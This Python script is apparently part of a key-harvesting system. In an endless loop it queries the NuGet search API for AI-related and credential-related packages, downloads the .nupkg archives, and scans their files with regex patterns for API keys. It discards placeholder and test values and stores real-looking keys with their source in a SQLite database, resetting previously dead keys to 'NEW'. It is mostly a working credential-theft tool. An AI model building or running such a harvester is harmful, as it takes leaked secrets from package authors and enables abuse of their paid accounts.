151 lines
4.5 KiB
Python
151 lines
4.5 KiB
Python
"""ETERNAL NuGet harvest: azuresearch-usnc search + .nupkg (zip) scan.
|
|
Lane: nuget. Polite sleep, 25 packages per cycle."""
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
|
import hashlib
|
|
import io
|
|
import json
|
|
import re
|
|
import sqlite3
|
|
import sys
|
|
import time
|
|
import urllib.parse
|
|
import urllib.request
|
|
import zipfile
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
|
LOG = os.path.join(KF_BASE, "nuget_eternal.log")
|
|
|
|
QUERIES = ["openai", "anthropic", "claude", "llm", "chatgpt", "gemini",
|
|
"mistral", "groq", "deepseek", "api key", "secrets", "openrouter",
|
|
"apikey", "credentials", "ai client", "ai sdk"]
|
|
|
|
SCAN_EXT = (".cs", ".json", ".config", ".xml", ".props", ".targets",
|
|
".env", ".yml", ".yaml", ".md", ".txt", ".ps1", ".sh", ".py")
|
|
MAX_FILE = 2 * 1024 * 1024
|
|
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
|
|
|
|
from key_patterns import PATTERNS
|
|
|
|
GARBAGE = ("xxxx", "your", "EXAMPLE", "example", "n0tr3al", "INSERT", "FAKE",
|
|
"fake", "Fake", "test", "Test", "TEST", "demo", "Demo", "aaaa",
|
|
"aBcDeF", "abcdef", "1234567890", "abcdefghij", "placehol",
|
|
"changeme", "deadbeef", "fffffff", "0000000")
|
|
|
|
seen = set()
|
|
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
print(line, flush=True)
|
|
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
|
f.write(line)
|
|
|
|
|
|
def db_add(cur, key, prov, repo):
|
|
if isinstance(key, tuple):
|
|
key = key[0]
|
|
if key in seen or any(g in key for g in GARBAGE) or len(key) < 28:
|
|
return 0
|
|
seen.add(key)
|
|
cur.execute(
|
|
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
|
|
"nuget", repo))
|
|
return 1
|
|
|
|
|
|
def fetch(url, binary=False):
|
|
req = urllib.request.Request(url, headers=UA)
|
|
with urllib.request.urlopen(req, timeout=60) as r:
|
|
blob = r.read()
|
|
return blob if binary else blob.decode("utf-8", "replace")
|
|
|
|
|
|
def scan_zip(blob, cur, pkg):
|
|
n = 0
|
|
try:
|
|
zf = zipfile.ZipFile(io.BytesIO(blob))
|
|
except Exception:
|
|
return 0
|
|
for info in zf.infolist():
|
|
name = info.filename.lower()
|
|
if info.file_size > MAX_FILE:
|
|
continue
|
|
if not (name.endswith(SCAN_EXT) or ".env" in name):
|
|
continue
|
|
try:
|
|
text = zf.read(info).decode("utf-8", "replace")
|
|
except Exception:
|
|
continue
|
|
for prov, rx in PATTERNS:
|
|
for m in rx.findall(text):
|
|
n += db_add(cur, m, prov, f"{pkg}:{info.filename}")
|
|
return n
|
|
|
|
|
|
def scan_package(rid, ver, cur):
|
|
url = ("https://www.nuget.org/api/v2/package/" +
|
|
urllib.parse.quote(rid) + "/" + urllib.parse.quote(ver))
|
|
try:
|
|
blob = fetch(url, binary=True)
|
|
except Exception as e:
|
|
log(f" pkg {rid} err: {str(e)[:60]}")
|
|
return 0
|
|
return scan_zip(blob, cur, rid)
|
|
|
|
|
|
def cycle(db):
|
|
cur = db.cursor()
|
|
total = 0
|
|
for q in QUERIES:
|
|
n = 0
|
|
url = ("https://azuresearch-usnc.nuget.org/query?q=" +
|
|
urllib.parse.quote(q) + "&take=25")
|
|
try:
|
|
data = json.loads(fetch(url))
|
|
except Exception as e:
|
|
log(f" search '{q}' err: {str(e)[:60]}")
|
|
continue
|
|
for p in data.get("data", []):
|
|
n += scan_package(p.get("id", ""), p.get("version", ""), cur)
|
|
db.commit()
|
|
time.sleep(1.0)
|
|
total += n
|
|
log(f" '{q}': +{n} new")
|
|
return total
|
|
|
|
|
|
def main():
|
|
log(f"=== nuget eternal START pid={__import__('os').getpid()} "
|
|
f"queries={len(QUERIES)}")
|
|
try:
|
|
con = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
|
cur = con.cursor()
|
|
cur.execute("SELECT val FROM keys WHERE found='nuget'")
|
|
for r in cur.fetchall():
|
|
seen.add(r[0])
|
|
con.close()
|
|
except Exception:
|
|
pass
|
|
db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
|
while True:
|
|
try:
|
|
n = cycle(db)
|
|
log(f"CYCLE done +{n}")
|
|
except Exception as e:
|
|
log(f"cycle err: {repr(e)[:100]}")
|
|
time.sleep(30)
|
|
time.sleep(180)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
main()
|
|
except KeyboardInterrupt:
|
|
sys.exit(0)
|